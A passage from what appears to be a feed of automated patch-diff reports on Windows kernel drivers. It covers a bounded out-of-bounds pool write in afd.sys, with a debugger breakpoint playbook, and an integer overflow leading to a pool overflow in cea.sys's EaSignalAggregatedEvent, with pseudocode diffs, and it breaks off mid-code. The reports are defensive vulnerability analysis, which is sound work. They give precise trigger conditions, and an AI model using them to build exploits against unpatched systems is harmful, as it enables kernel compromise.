&lt;li&gt;&lt;strong&gt;Provided Primitive:&lt;/strong&gt; A bounded out-of-bounds write of up to 10 bytes of transport-supplied address data immediately past the end of the mapped transport-address buffer in kernel pool. There is no out-of-bounds read: the &lt;code&gt;memmove&lt;/code&gt; source range stays within the buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constraints:&lt;/strong&gt; The overshoot is capped at 10 bytes; the written bytes are the shifted tail of the address structure rather than fully arbitrary content; and the path is only reachable when the feature flag is off. Turning a 10-byte adjacent-pool overwrite into a broader primitive would depend on pool layout and the contents of the neighboring allocation, none of which is established here.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Attach a local kernel debugger to the unpatched target.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched!AfdRestartSuperAcceptGetAddress
bp afd_unpatched+0x6d937 &amp;quot;.printf \&amp;quot;[!] weak clamp path\\n\&amp;quot;; r di&amp;quot;
bp afd_unpatched+0x6d960 &amp;quot;.printf \&amp;quot;[!] memmove size=%x src=%p dst=%p\\n\&amp;quot;, @r8d, @rcx, @rdx&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(Offsets are relative to the image base; &lt;code&gt;0x1C006D937&lt;/code&gt; and &lt;code&gt;0x1C006D960&lt;/code&gt; are the file addresses.)&lt;/p&gt;
&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1C006D912&lt;/code&gt; (&lt;code&gt;call EvaluateCurrentState&lt;/code&gt;): the return value in &lt;code&gt;eax&lt;/code&gt;. &lt;code&gt;eax == 0&lt;/code&gt; selects the weak clamp path.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1C006D937&lt;/code&gt;: &lt;code&gt;di&lt;/code&gt; holds the transport-supplied length + 2 before the weak clamp.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1C006D960&lt;/code&gt; (&lt;code&gt;memmove&lt;/code&gt;): &lt;code&gt;r8d&lt;/code&gt; is the copy size, &lt;code&gt;rcx&lt;/code&gt; the source (&lt;code&gt;ptr&lt;/code&gt;), &lt;code&gt;rdx&lt;/code&gt; the destination (&lt;code&gt;ptr + 0xa&lt;/code&gt;). If &lt;code&gt;rdx + r8d&lt;/code&gt; exceeds &lt;code&gt;MappedSystemVa + MdlByteCount&lt;/code&gt;, the write is out of bounds.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;When the weak clamp is taken with a large length, &lt;code&gt;rdx + r8d&lt;/code&gt; extends up to 10 bytes past &lt;code&gt;MappedSystemVa + MdlByteCount&lt;/code&gt;. With special pool enabled on the affected allocation this surfaces as a pool-corruption or page-fault bugcheck at or after the &lt;code&gt;memmove&lt;/code&gt; call.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;The security-relevant behavioral changes are documented above. The remaining changed functions are structural reorganization and offset shifts:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSetInformation&lt;/code&gt; (unpatched &lt;code&gt;sub_1C005B800&lt;/code&gt;, 0.603 similarity):&lt;/strong&gt; Operation-code dispatch restructured from cascaded compares into a bounded jump-table (&lt;code&gt;cmp eax,0Eh&lt;/code&gt; / &lt;code&gt;ja default&lt;/code&gt;) — a refactor with no unbounded index, so no out-of-bounds write. Also carries the feature-gated &lt;code&gt;+0xf8&lt;/code&gt; counter (Finding 2).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdCreateConnection&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0055BF0&lt;/code&gt;, 0.9425 similarity):&lt;/strong&gt; Removed the feature-flag gate that could skip device-stack validation (Finding 3).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; (&lt;code&gt;sub_1C0007DE4&lt;/code&gt;, 0.9637 similarity):&lt;/strong&gt; Same gate removal as &lt;code&gt;AfdCreateConnection&lt;/code&gt; (Finding 3).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdAddConnectedReference&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0058F28&lt;/code&gt;, 0.468 similarity):&lt;/strong&gt; Feature-gated reference-count increment ordering (Finding 4).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdQueryCompartmentId&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0036D94&lt;/code&gt;, 0.912 similarity):&lt;/strong&gt; Feature-gated &lt;code&gt;+0xf8&lt;/code&gt; counter around the TDI query callback (Finding 2). The &lt;code&gt;memset&lt;/code&gt; zero-fill size is a fixed &lt;code&gt;0x50&lt;/code&gt; in both builds; there is no buffer-size change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdTLPauseUnPause&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0061A70&lt;/code&gt;, 0.8586 similarity):&lt;/strong&gt; Feature-gated &lt;code&gt;+0xf8&lt;/code&gt; counter around the TDI callback (Finding 2).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdConnect&lt;/code&gt; (unpatched &lt;code&gt;sub_1C005A4F0&lt;/code&gt;, 0.9643 similarity):&lt;/strong&gt; Register reallocation from recompilation; no confirmed security-relevant change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cosmetic &amp;amp; Restructuring Changes:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdCleanupCore&lt;/code&gt; (unpatched &lt;code&gt;sub_1C00571F0&lt;/code&gt;): Adjusted struct offsets (&lt;code&gt;0x158 -&amp;gt; 0x160&lt;/code&gt;) reflecting the 8-byte endpoint growth, and re-addressed callees.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdDoDatagramConnect&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0061F80&lt;/code&gt;): Adjusted struct offsets, re-addressed callees, added an &lt;code&gt;EvaluateCurrentState&lt;/code&gt; conditional.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdGetInformation&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0038900&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C00389B0&lt;/code&gt;) and &lt;code&gt;AfdGetAddress&lt;/code&gt; (&lt;code&gt;sub_1C0036320&lt;/code&gt;, in place): IOCTL info/address query handler reorganization; also carry the feature-gated &lt;code&gt;+0xf8&lt;/code&gt; counter (Finding 2).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdSetEventHandler&lt;/code&gt; (unpatched &lt;code&gt;sub_1C00410A0&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0041120&lt;/code&gt;) and &lt;code&gt;AfdCloseRouteChangeNotifyHandles&lt;/code&gt; (unpatched &lt;code&gt;sub_1C004194C&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C00419CC&lt;/code&gt;): shifted in memory layout.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdGetAddressFileReference&lt;/code&gt; (unpatched &lt;code&gt;sub_1C006DDF4&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C006DCF4&lt;/code&gt;) and &lt;code&gt;AfdGetDeliveryStatus&lt;/code&gt; (unpatched &lt;code&gt;sub_1C0072140&lt;/code&gt; -&amp;gt; patched &lt;code&gt;sub_1C0072040&lt;/code&gt;): reordered in binary layout.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdTLConnectEventHandler&lt;/code&gt; (&lt;code&gt;sub_1C00549B0&lt;/code&gt;): Register and trace-data reference adjustments.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were exclusively added or removed; all changes were in-place modifications affecting the 18 matched-but-changed functions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the direction and mechanism of all four findings, which are read directly from both disassemblies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability of Finding 1:&lt;/strong&gt; Whether unpatched systems are actually exposed depends on the runtime default of &lt;code&gt;g_Feature_298020153_59190810&lt;/code&gt;. The correct clamp is present in the unpatched build but gated; the patched build removes the gate and hardwires it. The value written is transport-supplied address data, and the overshoot is bounded to 10 bytes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Findings 2 and 4&lt;/strong&gt; are feature-staged: the new behavior is gated behind a WIL feature flag with the original behavior retained in the else-branch, and no use-after-free or double-free is demonstrable in the unpatched build. They are reported as Low pending evidence of a concrete race.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification:&lt;/strong&gt; Confirming Finding 1 in practice requires attaching a kernel debugger and identifying the AcceptEx/SuperAccept sequence that drives the completion routine with an address-length field large enough to overshoot after the &lt;code&gt;+0xa&lt;/code&gt; shift.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cea.sys — integer overflow leading to pool buffer overflow in EaSignalAggregatedEvent (CWE-190) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cea_8e757b04-cea-report-20260626-134937.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/cea_8e757b04-cea-report-20260626-134937.html</id><summary type="html">&lt;p&gt;KB5094128&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cea_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cea_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 84 matched functions, 84 changed functions, 0 identical functions, 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch remediates a single genuine security bug: an integer overflow in the exported &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; function that leads to a large kernel pool buffer overflow. Alongside that fix the patch performs a system-wide modernization in which every &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; call site (43 of them) is migrated to &lt;code&gt;ExAllocatePool2&lt;/code&gt;, and it refactors the Windows Notification Facility (WNF) state-data parser (&lt;code&gt;WnfEventCallback&lt;/code&gt;) into a dedicated helper while adding one new, fully validated optional field. The WNF refactor and the pool migration are hardening/behavioral changes, not fixes for a pre-existing exploitable bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Integer Overflow Leading to Kernel Pool Overflow&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Overflow / Kernel Pool Buffer Overflow&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (Address: &lt;code&gt;0x1c00034b0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The exported function &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; calculates the size of a required kernel pool allocation by taking the caller-supplied variable-length data size (&lt;code&gt;Size&lt;/code&gt;, the 8th parameter, a &lt;code&gt;size_t&lt;/code&gt;) and adding a fixed &lt;code&gt;0x10&lt;/code&gt; for each of two optional 16-byte fields that are present when their pointer arguments (&lt;code&gt;a5&lt;/code&gt;, &lt;code&gt;a6&lt;/code&gt;) are non-NULL. The sum is computed into a 32-bit &lt;code&gt;unsigned int&lt;/code&gt; (&lt;code&gt;v20 = Size + (a5 ? 0x10 : 0) + (a6 ? 0x10 : 0)&lt;/code&gt;) with no overflow check, so only the low 32 bits of &lt;code&gt;Size&lt;/code&gt; participate. By supplying a &lt;code&gt;Size&lt;/code&gt; whose low 32 bits are near &lt;code&gt;0xFFFFFFFF&lt;/code&gt; (e.g., low 32 bits &lt;code&gt;0xFFFFFFF0&lt;/code&gt; with both optional fields present), the 32-bit sum &lt;code&gt;0xFFFFFFF0 + 0x20&lt;/code&gt; wraps to a tiny nonzero allocation size (&lt;code&gt;0x10&lt;/code&gt;). The function then calls &lt;code&gt;memmove&lt;/code&gt; with &lt;code&gt;(unsigned int)Size&lt;/code&gt; (the low 32 bits, up to ~&lt;code&gt;0xFFFFFFF0&lt;/code&gt; ≈ 4 GiB) as the copy length into this undersized buffer. The patch introduces a helper function (&lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008B90)&lt;/code&gt;) that computes &lt;code&gt;total = base + variable_length&lt;/code&gt; and performs an explicit &lt;code&gt;if (total &amp;lt; base)&lt;/code&gt; check, returning &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; (&lt;code&gt;0xC0000095&lt;/code&gt;) if the arithmetic wraps.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A caller invokes the exported kernel API &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The function calculates the buffer size inline in 32-bit arithmetic: &lt;code&gt;v20 = (unsigned int)(Size + (a5 ? 0x10 : 0) + (a6 ? 0x10 : 0))&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The wrapped &lt;code&gt;v20&lt;/code&gt; is passed to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;, allocating an undersized buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memmove&lt;/code&gt; copies the caller-supplied &lt;code&gt;Src&lt;/code&gt; data using &lt;code&gt;(unsigned int)Size&lt;/code&gt; (the low 32 bits, not the wrapped allocation size), overflowing the adjacent pool.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: WNF State Parser Refactor (No Pre-existing OOB Read)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational (downgraded: no security-relevant regression)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Refactor / added-and-validated optional field (not an out-of-bounds read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; (Address: &lt;code&gt;0x1c00018c8&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assessment:&lt;/strong&gt; The unpatched parser is NOT missing the bounds checks the packed WNF structure requires. In &lt;code&gt;cea_unpatched.c&lt;/code&gt; (&lt;code&gt;WnfEventCallback&lt;/code&gt;) the code already enforces: &lt;code&gt;a5 &amp;gt;= 8&lt;/code&gt; (minimum header), &lt;code&gt;a5 &amp;gt;= 16*((bit23!=0)+(bit24!=0)) + 8&lt;/code&gt; (the optional 16-byte fields must fit), &lt;code&gt;((header&amp;gt;&amp;gt;2)&amp;amp;0xFFF) &amp;gt;= 16*((bit23!=0)+(bit24!=0))&lt;/code&gt; when the count field is non-zero, and &lt;code&gt;a5 &amp;gt;= ((header&amp;gt;&amp;gt;2)&amp;amp;0xFFF) + 8&lt;/code&gt;. The only base pointer read of the payload region on this path is the &lt;code&gt;memmove&lt;/code&gt; of &lt;code&gt;count&lt;/code&gt; bytes from &lt;code&gt;buffer+8&lt;/code&gt; inside &lt;code&gt;EaiResetTriggerPayload&lt;/code&gt;, which is covered by the &lt;code&gt;a5 &amp;gt;= count + 8&lt;/code&gt; check. Header bit &lt;code&gt;0x19&lt;/code&gt; (bit 25, &lt;code&gt;0x2000000&lt;/code&gt;) is never referenced anywhere in the unpatched build, so no field gated by it is ever read. The patch (a) moves this inline parsing/validation into the new helper &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008A98)&lt;/code&gt; and (b) adds support for one NEW optional 8-byte field gated by header bit 25, together with the matching validation &lt;code&gt;count &amp;gt;= (bit24?0x10:0)+(bit23?0x10:0)+(bit25?8:0)&lt;/code&gt;. There is no attacker-reachable out-of-bounds read in the unpatched build for this path; the change is a refactor plus a new, fully validated field.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow (unchanged callback path):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;WNF state data is written to a subscribed state name via &lt;code&gt;NtUpdateWnfStateData&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The kernel triggers the WNF callback dispatcher &lt;code&gt;EaLibSubscribeWnfStateChangeNotification (sub_1C0011848)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The dispatcher calls &lt;code&gt;AggregateEventWnfCallback (sub_1C00116A0)&lt;/code&gt;, which queries the state data via &lt;code&gt;ExQueryWnfStateData&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The raw buffer is passed to &lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt;, which validates it before forwarding a bounds-checked pointer/count to &lt;code&gt;EaiProcessNotification&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (Integer Overflow)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (EaSignalAggregatedEvent @ 0x1C00034B0) ===&lt;/span&gt;
&lt;span class="c1"&gt;// v20 is unsigned int: the sum is computed in 32 bits with NO overflow check.&lt;/span&gt;
&lt;span class="c1"&gt;// a5/a6 are pointers to optional 16-byte fields; present when non-NULL.&lt;/span&gt;
&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;EtvA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// wrapped (tiny) size&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...optional 16-byte fields copied from a5/a6 into buf...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// VULNERABILITY: copy length is the low 32 bits of the caller&amp;#39;s Size,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// which can be ~0xFFFFFFF0 while v20 wrapped to 0x10&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (via EapSignalContentPrepareEventForPublishing (sub_140008B90)) ===&lt;/span&gt;
&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable_length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// variable_length = struct[0x20]&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// OVERFLOW CHECK ADDED -&amp;gt; STATUS_INTEGER_OVERFLOW (0xC0000095)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;POOL_FLAG_PAGED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;EtvA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// safe bounded copy of variable_length bytes follows...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; (WNF Parser Refactor)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED === (already bounds-checked; a5 = buffer size, a4 = buffer)&lt;/span&gt;
&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
